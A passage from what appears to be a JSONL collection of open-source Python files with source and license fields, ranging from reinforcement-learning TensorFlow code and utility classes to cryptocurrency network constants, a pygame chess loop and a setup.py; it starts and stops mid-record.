details.\n update_target: () -> ()\n copy the parameters from optimized Q function to the target Q function.\n` See the top of the file for details.\n debug: {str: function}\n a bunch of functions to print debug data like q_values.\n \"\"\"\n act_noise = tf.placeholder(tf.float32, [None, latent_dim], name=\"act_noise\")\n act_f = build_act_mf(make_obs_ph, q_func, act_noise, num_actions, scope=scope, reuse=reuse)\n\n with tf.variable_scope(scope, reuse=reuse):\n # set up placeholders\n\n # EMDQN\n\n obs_vae_input = U.ensure_tf_input(make_obs_ph(\"obs_vae\"))\n z_noise_vae = tf.placeholder(tf.float32, [None, latent_dim], name=\"z_noise_vae\")\n inputs = [obs_vae_input,z_noise_vae]\n if ib:\n qec_input = tf.placeholder(tf.float32, [None], name='qec')\n inputs.append(qec_input)\n outputs = []\n\n q_vae, q_deterministic_vae, v_mean_vae, v_logvar_vae, z_mean_vae, z_logvar_vae, recon_obs = q_func(obs_vae_input.get(),\n z_noise_vae, num_actions,\n scope=\"q_func\",\n reuse=True)\n q_func_vars = U.scope_vars(U.absolute_scope_name(\"q_func\"))\n\n encoder_loss = -1 + z_mean_vae ** 2 + tf.exp(z_logvar_vae) - z_logvar_vae\n\n total_loss = tf.reduce_mean(beta * encoder_loss)\n decoder_loss = tf.keras.losses.binary_crossentropy(tf.reshape(recon_obs, [-1]), tf.reshape(\n tf.dtypes.cast(obs_vae_input._placeholder, tf.float32), [-1]))\n print(\"here\", z_mean_vae.shape, z_logvar_vae.shape, encoder_loss.shape, decoder_loss.shape)\n vae_loss = beta * encoder_loss + theta * decoder_loss\n outputs.append(encoder_loss)\n outputs.append(decoder_loss)\n outputs.append(vae_loss)\n total_loss += tf.reduce_mean(theta * decoder_loss)\n if ib:\n ib_loss = (v_mean_vae - tf.stop_gradient(tf.expand_dims(qec_input, 1))) ** 2 / tf.exp(\n v_logvar_vae) + v_logvar_vae\n print(\"here2\", v_mean_vae.shape, tf.expand_dims(qec_input, 1).shape, v_logvar_vae.shape, ib_loss.shape)\n total_ib_loss = alpha * ib_loss + beta * encoder_loss\n outputs.append(total_ib_loss)\n total_loss += tf.reduce_mean(alpha * ib_loss)\n\n if grad_norm_clipping is not None:\n optimize_expr = U.minimize_and_clip(optimizer,\n total_loss,\n var_list=q_func_vars,\n clip_val=grad_norm_clipping)\n else:\n optimize_expr = optimizer.minimize(total_loss, var_list=q_func_vars)\n # Create callable functions\n # EMDQN\n total_loss_summary = tf.summary.scalar(\"total loss\", total_loss)\n z_var_summary = tf.summary.scalar(\"z_var\", tf.reduce_mean(tf.exp(z_logvar_vae)))\n encoder_loss_summary = tf.summary.scalar(\"encoder loss\", tf.reduce_mean(encoder_loss))\n decoder_loss_summary = tf.summary.scalar(\"decoder loss\", tf.reduce_mean(decoder_loss))\n summaries = [total_loss_summary, z_var_summary, encoder_loss_summary, decoder_loss_summary]\n if ib:\n ib_loss_summary = tf.summary.scalar(\"ib loss\", tf.reduce_mean(ib_loss))\n total_ib_loss_summary = tf.summary.scalar(\"total ib loss\", tf.reduce_mean(total_ib_loss))\n summaries.append(ib_loss_summary)\n summaries.append(total_ib_loss_summary)\n\n summary = tf.summary.merge(summaries)\n outputs.append(summary)\n\n train = U.function(\n inputs=inputs,\n outputs=[total_loss,summary],\n updates=[optimize_expr]\n )\n\n return act_f, train\n", "source": "MouseHu/emdqn", "license": "MIT"}
+{"text": "from dataclasses import dataclass\n\n@dataclass\nclass Request:\n method: str\n path: str\n headers: dict\n body: bytes\n\n@dataclass\nclass Response:\n status_code: int\n reason_phrase: str\n headers: dict\n body: bytes\n", "source": "jonathanlloyd/scratchstack-httpserver", "license": "MIT"}
+{"text": "# @AUTHOR : lonsty\n# @DATE : 2020/3/28 18:01\n\n\nclass CookiesExpiredException(Exception):\n pass\n\n\nclass NoImagesException(Exception):\n pass\n\n\nclass ContentParserError(Exception):\n pass\n\n\nclass UserNotFound(Exception):\n pass\n", "source": "lonsty/weibo-pic-spider-hd", "license": "MIT"}
+{"text": "class base_converter(object):\n \"\"\"\n Properties:\n headers -- list of strings that name the header files needed by this\n object.\n include_dirs -- list of directories where the header files can be found.\n libraries -- list of libraries needed to link to when compiling\n extension.\n library_dirs -- list of directories to search for libraries.\n\n support_code -- list of strings. Each string is a subroutine needed\n by the type. Functions that are used in the conversion\n between Python and C++ files are examples of these.\n\n Methods:\n\n type_match(value) returns 1 if this class is used to represent type\n specification for value.\n type_spec(name, value) returns a new object (of this class) that is\n used to produce C++ code for value.\n declaration_code() returns C++ code fragment for type declaration and\n conversion of python object to C++ object.\n cleanup_code() returns C++ code fragment for cleaning up after the\n variable after main C++ code fragment has executed.\n\n \"\"\"\n _build_information = []\n compiler = ''\n\n def set_compiler(self,compiler):\n self.compiler = compiler\n def type_match(self,value):\n raise NotImplementedError(\"You must override method in derived class\")\n def build_information(self):\n return self._build_information\n def type_spec(self,name,value):\n pass\n def declaration_code(self,templatize = 0):\n return \"\"\n def local_dict_code(self):\n return \"\"\n def cleanup_code(self):\n return \"\"\n def retrieve_py_variable(self,inline=0):\n # this needs a little coordination in name choices with the\n # ext_inline_function class.\n if inline:\n vn = 'get_variable(\"%s\",raw_locals,raw_globals)' % self.name\n else:\n vn = 'py_' + self.name\n return vn\n\n def py_reference(self):\n return \"&py_\" + self.name\n def py_pointer(self):\n return \"*py_\" + self.name\n def py_variable(self):\n return \"py_\" + self.name\n def reference(self):\n return \"&\" + self.name\n def pointer(self):\n return \"*\" + self.name\n def init_flag(self):\n return self.name + \"_used\"\n\n def variable(self):\n return self.name\n def variable_as_string(self):\n return '\"' + self.name + '\"'\n\nimport UserList\nimport base_info\n\nclass arg_spec_list(UserList.UserList):\n def build_information(self):\n all_info = base_info.info_list()\n for i in self:\n all_info.extend(i.build_information())\n return all_info\n\n def py_references(self):\n return map(lambda x: x.py_reference(),self)\n def py_pointers(self):\n return map(lambda x: x.py_pointer(),self)\n def py_variables(self):\n return map(lambda x: x.py_variable(),self)\n\n def references(self):\n return map(lambda x: x.py_reference(),self)\n def pointers(self):\n return map(lambda x: x.pointer(),self)\n def variables(self):\n return map(lambda x: x.variable(),self)\n def init_flags(self):\n return map(lambda x: x.init_flag(),self)\n def variable_as_strings(self):\n return map(lambda x: x.variable_as_string(),self)\n", "source": "lesserwhirls/scipy-cwt", "license": "BSD-3-Clause"}
+{"text": "\"\"\"\nCreated:04 Mar. 2020\nAuthor: Jordan Prechac\n\"\"\"\n\nfrom revibe._helpers import const\n\nfrom administration.utils import retrieve_variable\nfrom content.models import Song, Album, Artist\nfrom content.serializers import v1 as cnt_ser_v1\n\n# -----------------------------------------------------------------------------\n\n# _DEFAULT_LIMIT = 50\n# limit_variable = retrieve_variable()\n# try:\n# limit_variable = int(limit_variable)\n# _DEFAULT_LIMIT = max(min(limit_variable, 100), 10)\n# except ValueError as ve:\n# print(\"Could not read browse section default limit variable\")\n# print(ve)\ndef _DEFAULT_LIMIT():\n limit_variable = retrieve_variable(\"browse_section_default_limit\", 50)\n\n try:\n limit_variable = int(limit_variable)\n return max(min(limit_variable, 100), 10)\n except ValueError as ve:\n print(\"Could not read browse section default limit variable\")\n print(ve)\n \n return 50\n\n_name = \"name\"\n_type = \"type\"\n_results = \"results\"\n_endpoint = \"endpoint\"\n\ndef _browse_song(annotation, limit=None, platform=const.REVIBE_STRING, **options):\n limit = limit if limit else _DEFAULT_LIMIT()\n songs = Song.display_objects.filter(platform=platform).annotate(count=annotation).order_by('-count')[:limit]\n options[_results] = cnt_ser_v1.SongSerializer(songs, many=True).data\n\n return options\n\ndef _browse_album(annotation, limit=None, **options):\n limit = limit if limit else _DEFAULT_LIMIT()\n albums = Album.display_objects.filter(platform=const.REVIBE_STRING).annotate(count=annotation).order_by('-count')[:limit]\n options[_results] = cnt_ser_v1.AlbumSerializer(albums, many=True).data\n\n return options\n\ndef _browse_artist(annotation, limit=None, **options):\n limit = limit if limit else _DEFAULT_LIMIT()\n artists = Artist.display_objects.filter(platform=const.REVIBE_STRING).annotate(count=annotation).order_by('-count')[:limit]\n options[_results] = cnt_ser_v1.ArtistSerializer(artists, many=True).data\n\n return options", "source": "Revibe-Music/core-services", "license": "MIT"}
+{"text": "import pandas as pd\nimport numpy as np\nimport os\nimport logging\n\n\n# suppress warnings\nimport warnings;\nwarnings.filterwarnings('ignore');\n\nfrom tqdm.autonotebook import tqdm\n\n# register `pandas.progress_apply` and `pandas.Series.map_apply` with `tqdm`\ntqdm.pandas()\n\n# https://pandas.pydata.org/pandas-docs/stable/user_guide/options.html#available-options\n# adjust pandas display\npd.options.display.max_columns = 30 # default 20\npd.options.display.max_rows = 200 # default 60\npd.options.display.float_format = '{:.2f}'.format\n# pd.options.display.precision = 2\npd.options.display.max_colwidth = 200 # default 50; None = all\n\n# Number of array items in summary at beginning and end of each dimension\n# np.set_printoptions(edgeitems=3) # default 3\nnp.set_printoptions(suppress=True) # no scientific notation for small numbers\n\n# IPython (Jupyter) setting: \n# Print out every value instead of just \"last_expr\" (default)\nfrom IPython.core.interactiveshell import InteractiveShell\nInteractiveShell.ast_node_interactivity = \"all\"\n\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\n\n# defaults: mpl.rcParamsDefault\nrc_params = {'figure.figsize': (8, 4),\n 'axes.labelsize': 'large', \n 'axes.titlesize': 'large',\n 'xtick.labelsize': 'large',\n 'ytick.labelsize': 'large',\n 'savefig.dpi': 100,\n 'figure.dpi': 100 }\n# adjust matplotlib defaults\nmpl.rcParams.update(rc_params)\n\nimport seaborn as sns\nsns.set_style(\"darkgrid\")\n# sns.set()\n", "source": "nguyenngtt/GSE---TEAM-A", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\n\nimport ST7735\nimport sys\n\nst7735 = ST7735.ST7735(\n port=0,\n cs=1,\n dc=9,\n backlight=12,\n rotation=270,\n spi_speed_hz=10000000\n)\n\n# Reset the display\nst7735.begin()\nst7735.reset()\nst7735.set_backlight(0)\n\nprint \"\\nDone.\" \n\n# Exit cleanly\nsys.exit(0)", "source": "pkbullock/RaspberryPi", "license": "MIT"}
+{"text": "import sys, os\nimport logging\nimport datetime\n\nmodule_name = 'Streetview_Module'\ndebug_mode = True\n\nclass LoggingWrapper(object):\n\n def __init__(self, log_folder_path=None):\n self.debug_mode = debug_mode\n\n # Create logger with module name\n logger = logging.getLogger(module_name)\n logger.setLevel(logging.DEBUG)\n\n # create file handler which logs even debug messages\n now = datetime.datetime.now()\n log_file = '{}{}{}{}{}{}.log'.format(now.year, now.month, now.day,\n now.hour, now.minute,\n now.second)\n # If no folder provided, output to stderr\n if log_folder_path == None:\n fh = logging.StreamHandler(sys.stderr)\n else:\n log_file = os.path.join(log_folder_path, log_file)\n fh = logging.FileHandler(log_file)\n\n fh.setLevel(logging.DEBUG)\n\n # create console handler with a higher log level\n ch = logging.StreamHandler()\n ch.setLevel(logging.ERROR)\n\n # create formatter and add it to the handlers\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n fh.setFormatter(formatter)\n ch.setFormatter(formatter)\n\n # add the handlers to the logger\n logger.addHandler(fh)\n logger.addHandler(ch)\n", "source": "juliantrue/Streetview-Segmenting", "license": "MIT"}
+{"text": "class BitcoinGoldMainNet(object):\n \"\"\"Bitcoin Gold MainNet version bytes. \"\"\"\n NAME = \"Bitcoin Gold Main Net\"\n COIN = \"BTG\"\n SCRIPT_ADDRESS = 0x17 # int(0x17) = 23\n PUBKEY_ADDRESS = 0x26 # int(0x26) = 38 # Used to create payment addresses\n SECRET_KEY = 0x80 # int(0x80) = 128 # Used for WIF format\n EXT_PUBLIC_KEY = 0x0488b21E # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x0488ADE4 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/0'/0'/\"\n\n\nclass BitcoinCashMainNet(object):\n \"\"\"Bitcoin Cash MainNet version bytes.\"\"\"\n NAME = \"Bitcoin Cash Main Net\"\n COIN = \"BCH\"\n SCRIPT_ADDRESS = 0x28 # int(0x28) = 40\n PUBKEY_ADDRESS = 0x1C # int(0x00) = 28 # Used to create payment addresses\n SECRET_KEY = 0x80 # int(0x80) = 128 # Used for WIF format\n EXT_PUBLIC_KEY = 0x0488b21E # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x0488ADE4 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/145'/0'/\"\n\n\nclass DashMainNet(object):\n \"\"\"Dash MainNet version bytes.\"\"\"\n NAME = \"Dash Main Net\"\n COIN = \"DASH\"\n SCRIPT_ADDRESS = 0x10 # int(0x10) = 16\n PUBKEY_ADDRESS = 0x4C # int(0x4C) = 76 # Used to create payment addresses\n SECRET_KEY = 0xCC # int(0xCC) = 204 # Used for WIF format\n EXT_PUBLIC_KEY = 0X0488B21E # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0X0488ADE4 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/5'/0'/\"\n\n\nclass DashTestNet(object):\n \"\"\"Dash TestNet version bytes.\"\"\"\n NAME = \"Dash Test Net\"\n COIN = \"DASH\"\n SCRIPT_ADDRESS = 0x13 # int(0x13) = 19\n PUBKEY_ADDRESS = 0x8C # int(0x8C) = 140 # Used to create payment addresses\n SECRET_KEY = 0xEF # int(0xEF) = 239 # Used for WIF format\n EXT_PUBLIC_KEY = 0x043587CF # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x04358394 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/1'/0'/\"\n\nclass MarteXMainNet(object):\n \"\"\"MarteX MainNet version bytes.\"\"\"\n NAME = \"MarteX Main Net\"\n COIN = \"MXT\"\n SCRIPT_ADDRESS = 0x05 # int(0x05) = 05\n PUBKEY_ADDRESS = 0x32 # int(0x32) = 50 # Used to create payment addresses\n SECRET_KEY = 0xB2 # int(0xB2) = 178 # Used for WIF format\n EXT_PUBLIC_KEY = 0X0488B21E # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0X0488ADE4 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/180'/0'/\"\n\nclass MarteXTestNet(object):\n \"\"\"MarteX TestNet version bytes.\"\"\"\n NAME = \"MarteX Test Net\"\n COIN = \"MXT\"\n SCRIPT_ADDRESS = 0xC4 # int(0xC4) = 196\n PUBKEY_ADDRESS = 0x6C # int(0x6F) = 111 # Used to create payment addresses\n SECRET_KEY = 0x144 # int(0x144) = 324 # Used for WIF format\n EXT_PUBLIC_KEY = 0x043587CF # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x04358394 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/1'/0'/\"\n\nclass OmniMainNet(object):\n \"\"\"Bitcoin MainNet version bytes.\n From https://github.com/OmniLayer/omnicore/blob/develop/src/chainparams.cpp\n \"\"\"\n NAME = \"Omni Main Net\"\n COIN = \"USDT\"\n SCRIPT_ADDRESS = 0x00 # int(0x00) = 0\n PUBKEY_ADDRESS = 0x05 # int(0x05) = 5 # Used to create payment addresses\n SECRET_KEY = 0x80 # int(0x80) = 128 # Used for WIF format\n EXT_PUBLIC_KEY = 0x0488B21E # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x0488ADE4 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/0'/0'/\"\n\nclass OmniTestNet(object):\n \"\"\"Bitcoin MainNet version bytes.\n From https://github.com/OmniLayer/omnicore/blob/develop/src/chainparams.cpp\n \"\"\"\n NAME = \"Omni Test Net\"\n COIN = \"USDT\"\n SCRIPT_ADDRESS = 0x6f # int(0x6f) = 111\n PUBKEY_ADDRESS = 0xc4 # int(0xc4) = 196 # Used to create payment addresses\n SECRET_KEY = 0xef # int(0xef) = 239 # Used for WIF format\n EXT_PUBLIC_KEY = 0x043587CF # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x04358394 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/0'/0'/\"\n\nclass BitcoinMainNet(object):\n \"\"\"Bitcoin MainNet version bytes.\n From https://github.com/bitcoin/bitcoin/blob/v0.9.0rc1/src/chainparams.cpp\n \"\"\"\n NAME = \"Bitcoin Main Net\"\n COIN = \"BTC\"\n SCRIPT_ADDRESS = 0x05 # int(0x05) = 5\n PUBKEY_ADDRESS = 0x00 # int(0x00) = 0 # Used to create payment addresses\n SECRET_KEY = 0x80 # int(0x80) = 128 # Used for WIF format\n EXT_PUBLIC_KEY = 0x0488B21E # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x0488ADE4 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/0'/0'/\"\n\nclass FeathercoinMainNet(object):\n \"\"\"Feathercoin MainNet version bytes.\n From https://github.com/FeatherCoin/Feathercoin/blob/master-0.13/src/chainparams.cpp\n \"\"\"\n NAME = \"Feathercoin Main Net\"\n COIN = \"FTC\"\n SCRIPT_ADDRESS = 0x05 # int(0x05) = 5\n PUBKEY_ADDRESS = 0x0E # int(0x0E) = 14 # Used to create payment addresses\n SECRET_KEY = 0x8E # int(0x8E) = 142 # Used for WIF format\n EXT_PUBLIC_KEY = 0x0488BC26 # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x0488DAEE # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/4'/0'/\"\n\nclass BitcoinTestNet(object):\n \"\"\"Bitcoin TestNet version bytes.\n From https://github.com/bitcoin/bitcoin/blob/v0.9.0rc1/src/chainparams.cpp\n \"\"\"\n NAME = \"Bitcoin Test Net\"\n COIN = \"BTC\"\n SCRIPT_ADDRESS = 0xc4 # int(0xc4) = 196\n PUBKEY_ADDRESS = 0x6f # int(0x6f) = 111\n SECRET_KEY = 0xEF # int(0xef) = 239\n EXT_PUBLIC_KEY = 0x043587CF\n EXT_SECRET_KEY = 0x04358394\n BIP32_PATH = \"m/44'/1'/0'/\"\n\n\nclass LitecoinMainNet(object):\n \"\"\"Litecoin MainNet version bytes\n\n Primary version bytes from:\n https://github.com/litecoin-project/litecoin/blob/master-0.8/src/base58.h\n\n Unofficial extended version bytes from\n https://bitcointalk.org/index.php?topic=453395.0\n \"\"\"\n NAME = \"Litecoin Main Net\"\n COIN = \"LTC\"\n SCRIPT_ADDRESS = 0x05 # int(0x05) = 5\n PUBKEY_ADDRESS = 0x30 # int(0x30) = 48\n SECRET_KEY = PUBKEY_ADDRESS + 128 # = int(0xb0) = 176\n\n # Unofficial extended version bytes taken from\n # https://bitcointalk.org/index.php?topic=453395.0\n # EXT_PUBLIC_KEY = 0x019da462\n # EXT_SECRET_KEY = 0x019d9cfe\n\n # same as Bitcoin's\n # https://github.com/ranaroussi/pywallet/issues/6\n EXT_PUBLIC_KEY = 0x0488B21E\n EXT_SECRET_KEY = 0x0488ADE4\n\n BIP32_PATH = \"m/44'/2'/0'/\"\n\nclass LitecoinTestNet(object):\n \"\"\"Litecoin TestNet version bytes\n\n Primary version bytes from:\n https://github.com/litecoin-project/litecoin/blob/master-0.8/src/base58.h\n\n Unofficial extended version bytes from\n https://bitcointalk.org/index.php?topic=453395.0\n \"\"\"\n NAME = \"Litecoin Test Net\"\n COIN = \"LTC\"\n SCRIPT_ADDRESS = 0xc4 # int(0xc4) = 196\n PUBKEY_ADDRESS = 0x6f # int(0x6f) = 111\n SECRET_KEY = PUBKEY_ADDRESS + 128 # = int(0xef) = 239\n\n # Unofficial extended version bytes taken from\n # https://bitcointalk.org/index.php?topic=453395.0\n # EXT_PUBLIC_KEY = 0x0436f6e1\n # EXT_SECRET_KEY = 0x0436ef7d\n\n # same as Bitcoin's\n # https://github.com/ranaroussi/pywallet/issues/6\n EXT_PUBLIC_KEY = 0x043587CF\n EXT_SECRET_KEY = 0x04358394\n\n BIP32_PATH = \"m/44'/1'/0'/\"\n\n\nclass DogecoinMainNet(object):\n \"\"\"Dogecoin MainNet version bytes\n\n Primary version bytes from:\n https://github.com/dogecoin/dogecoin/blob/1.5.2/src/base58.h\n\n Unofficial extended version bytes from\n https://bitcointalk.org/index.php?topic=409731\n \"\"\"\n NAME = \"Dogecoin Main Net\"\n COIN = \"DOGE\"\n SCRIPT_ADDRESS = 0x16 # int(0x16) = 22\n PUBKEY_ADDRESS = 0x1e # int(0x1e) = 30\n SECRET_KEY = PUBKEY_ADDRESS + 128 # int(0x9e) = 158\n\n # Unofficial extended version bytes taken from\n # https://bitcointalk.org/index.php?topic=409731\n EXT_PUBLIC_KEY = 0x02facafd\n EXT_SECRET_KEY = 0x02fac398\n BIP32_PATH = \"m/44'/3'/0'/\"\n\n\nclass DogecoinTestNet(object):\n \"\"\"Dogecoin TestNet version bytes\n\n Primary version bytes from:\n https://github.com/dogecoin/dogecoin/blob/1.5.2/src/base58.h\n\n Unofficial extended version bytes from\n https://bitcointalk.org/index.php?topic=409731\n \"\"\"\n NAME = \"Dogecoin Test Net\"\n COIN = \"DOGE\"\n SCRIPT_ADDRESS = 0xc4 # int(0xc4) = 196\n PUBKEY_ADDRESS = 0x71 # int(0x71) = 113\n SECRET_KEY = PUBKEY_ADDRESS + 128 # int(0xf1) = 241\n\n # Unofficial extended version bytes taken from\n # https://bitcointalk.org/index.php?topic=409731\n EXT_PUBLIC_KEY = 0x0432a9a8\n EXT_SECRET_KEY = 0x0432a243\n BIP32_PATH = \"m/44'/1'/0'/\"\n\n\nclass BlockCypherTestNet(object):\n \"\"\"BlockCypher TestNet version bytes.\n From http://dev.blockcypher.com/#testing\n \"\"\"\n NAME = \"BlockCypher Test Net\"\n COIN = \"BlockCypher\"\n SCRIPT_ADDRESS = 0x1f # int(0x1f) = 31\n PUBKEY_ADDRESS = 0x1b # int(0x1b) = 27 # Used to create payment addresses\n SECRET_KEY = 0x49 # int(0x49) = 73 # Used for WIF format\n EXT_PUBLIC_KEY = 0x2d413ff # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x2d40fc3 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/1'/0'/\"\n\n\nclass QtumMainNet(object):\n \"\"\"Qtum MainNet version bytes\n\n Primary version bytes from:\n https://github.com/qtumproject/qtum/blob/master/src/chainparams.cpp\n \"\"\"\n NAME = \"Qtum Main Net\"\n COIN = \"QTUM\"\n SCRIPT_ADDRESS = 0x32 # int(0x32) = 50\n PUBKEY_ADDRESS = 0x3A # int(0x3A) = 58 # Used to create payment addresses\n SECRET_KEY = 0x80 # int(0x80) = 128 # Used for WIF format\n EXT_PUBLIC_KEY = 0x0488B21E # Used to serialize public BIP32 addresses\n EXT_SECRET_KEY = 0x0488ADE4 # Used to serialize private BIP32 addresses\n BIP32_PATH = \"m/44'/88'/0'/\"\n\n\nclass QtumTestNet(object):\n \"\"\"Qtum TestNet version bytes\n\n Primary version bytes from:\n https://github.com/qtumproject/qtum/blob/master/src/chainparams.cpp\n \"\"\"\n NAME = \"Qtum Test Net\"\n COIN = \"QTUM\"\n SCRIPT_ADDRESS = 0x6E # int(0x6e) = 110\n PUBKEY_ADDRESS = 0x78 # int(0x78) = 120\n SECRET_KEY = 0xEF # int(0xef) = 239\n EXT_PUBLIC_KEY = 0x043587CF\n EXT_SECRET_KEY = 0x04358394\n BIP32_PATH = \"m/44'/88'/0'/\"\n", "source": "martexcoin/pywallet", "license": "MIT"}
+{"text": "import pygame as pg\nfrom pygame.locals import *\nimport sys\nimport board.chess_board as board\n\n\nw = 60 * 8\nh = 60 * 8\n\n\nclass Game:\n \"\"\"\n Class to setup and start a game\n \"\"\"\n def __init__(self):\n self.b = board.Board(w, h)\n\n def get_board(self):\n \"\"\"\n Returns board\n :return: Board-class\n \"\"\"\n return self.b\n\n def run(self):\n \"\"\"\n Where the game is created and launched\n :return:\n \"\"\"\n # While loop to show display\n while True:\n for event in pg.event.get():\n # Quitting game\n if event.type == QUIT:\n pg.quit()\n sys.exit()\n # If game can continue\n if self.b.get_status() == \"-\":\n # Pressing mouse\n if event.type == MOUSEBUTTONDOWN:\n pos = pg.mouse.get_pos()\n for r in self.b.get_board_array():\n for square in r:\n if square.get_visual().collidepoint(pos):\n square.click()\n self.b.update_board()\n\n\nif __name__ == \"__main__\":\n # Launch main-function if running this script\n game = Game()\n game.run()\n", "source": "petthauk/chess_ml", "license": "MIT"}
+{"text": "import os\nimport sys\nimport itertools\nimport json\n\n_NONE = object()\n\n\nclass SettingManager:\n _sentry = object()\n\n def __init__(self):\n self.env = os.getenv('ENV', 'prd')\n\n try:\n self._default = __import__('settings.default', fromlist=['*'])\n except ModuleNotFoundError:\n self._default = object()\n\n try:\n self._env = __import__('settings.{}'.format(self.env), fromlist=['*'])\n except ModuleNotFoundError:\n self._env = object()\n\n self._loaded = []\n\n def load(self, filename, fmt='json'):\n filename = os.path.abspath(filename)\n if fmt == 'json':\n with open(filename) as f:\n self._loaded.append((filename, json.load(f)))\n\n def unload(self, filename):\n filename = os.path.abspath(filename)\n self._loaded = [(f, v) for f, v in self._loaded if f != filename]\n\n def __getattr__(self, item):\n result = SettingManager._sentry\n\n for _, values in self._loaded:\n if item in values:\n result = values[item]\n\n result = os.getenv(item, result)\n\n if result is SettingManager._sentry:\n result = getattr(self._env, item, getattr(self._default, item, SettingManager._sentry))\n if result is SettingManager._sentry:\n raise AttributeError\n\n return result\n\n def __contains__(self, item):\n try:\n self.__getattr__(item)\n return True\n except AttributeError:\n return False\n\n def get(self, item, default=_NONE):\n try:\n return self.__getattr__(item)\n except AttributeError:\n if default is not _NONE:\n return default\n raise AttributeError\n\n def __iter__(self):\n chained = itertools.chain(getattr(self._default, '__dict__', dict()).keys(),\n getattr(self._env, '__dict__', dict()).keys())\n\n for _, values in self._loaded:\n chained = itertools.chain(chained, values.keys())\n\n return iter(filter(lambda x: not x.startswith('_'), set(chained)))\n\n\nsys.modules[__name__] = SettingManager()\n", "source": "arcana261/python-grpc-boilerplate", "license": "Unlicense"}
+{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport io\nfrom codecs import open\nfrom setuptools import setup, find_packages\n\n\ndef walk_subpkg(name):\n data_files = []\n package_dir = 'cartoframes'\n for parent, dirs, files in os.walk(os.path.join(package_dir, name)):\n # Remove package_dir from the path.\n sub_dir = os.sep.join(parent.split(os.sep)[1:])\n for f in files:\n data_files.append(os.path.join(sub_dir, f))\n return data_files\n\n\nREQUIRES = [\n 'appdirs>=1.4.3,<2.0',\n 'carto>=1.6.0,<2.0',\n 'jinja2>=2.10.1,<3.0',\n 'pandas>=0.24.2<1.0',\n 'shapely>=1.6.4,<2.0',\n 'tqdm>=4.32.1,<5.0',\n 'unidecode>=1.1.0,<2.0',\n 'webcolors>=1.9.1,<2.0'\n]\n\nPACKAGE_DATA = {\n '': [\n 'LICENSE',\n 'CONTRIBUTORS',\n ],\n 'cartoframes': [\n 'assets/*',\n 'assets/*.j2'\n ] + walk_subpkg('assets'),\n}\n\nhere = os.path.abspath(os.path.dirname(__file__))\n\nwith io.open(os.path.join(here, 'README.rst'), encoding='utf-8') as f:\n long_description = '\\n' + f.read()\n\nabout = {}\nwith open(os.path.join(here, 'cartoframes', '__version__.py'), 'r', 'utf-8') as f:\n exec(f.read(), about)\n\nsetup(\n name=about['__title__'],\n version=about['__version__'],\n description=about['__description__'],\n long_description=long_description,\n url=about['__url__'],\n author=about['__author__'],\n author_email=about['__email__'],\n license=about['__license__'],\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'Intended Audience :: Science/Research',\n 'License :: OSI Approved :: BSD License',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7'\n ],\n keywords='carto data science maps spatial pandas',\n packages=find_packages(),\n install_requires=REQUIRES,\n python_requires=\">=2.6, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*\",\n include_package_data=True,\n package_dir={'cartoframes': 'cartoframes'},\n package_data=PACKAGE_DATA,\n)\n", "source": "CristianPachacama/cartoframes", "license": "BSD-3-Clause"}
+{"text": "# Author: Guilherme Aldeia\r\n# Contact: guilherme.aldeia@ufabc.edu.br\r\n# Version: 1.0.0\r\n# Last modified: 08-20-2021 by Guilherme Aldeia\r\n\r\n\"\"\"\r\nSimple exception that is raised by explainers when they don't support local\r\nor global explanations, or when they are not model agnostic. This should be\r\ncatched and handled in the experiments.\r\n\"\"\"\r\n\r\nclass NotApplicableException(Exception):\r\n def __init__(self, message=\"\"):\r\n self.message = message", "source": "gAldeia/iirsBenchmark", "license": "BSD-3-Clause"}
+{"text": "\nimport itertools\nimport multiprocessing\nimport json\n\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom lp_generators.features import coeff_features, solution_features\nfrom lp_generators.performance import clp_simplex_performance\n\nfrom search_operators import lp_column_neighbour, lp_row_neighbour\nfrom seeds import cli_seeds\nfrom search_common import condition, objective, start_instance\n\n\ndef calculate_features(instance):\n return dict(\n **coeff_features(instance),\n **solution_features(instance))\n\n\ndef generate_by_search(seed):\n results = []\n pass_condition = 0\n step_change = 0\n random_state = np.random.RandomState(seed)\n current_instance = start_instance(random_state)\n current_features = calculate_features(current_instance)\n for step in range(10001):\n if (step % 100) == 0:\n results.append(dict(\n **coeff_features(current_instance),\n **solution_features(current_instance),\n **clp_simplex_performance(current_instance),\n pass_condition=pass_condition,\n step_change=step_change,\n step=step, seed=seed))\n if (step % 2) == 0:\n new_instance = lp_row_neighbour(random_state, current_instance, 1)\n else:\n new_instance = lp_column_neighbour(random_state, current_instance, 1)\n new_features = calculate_features(new_instance)\n if condition(new_features):\n pass_condition += 1\n if 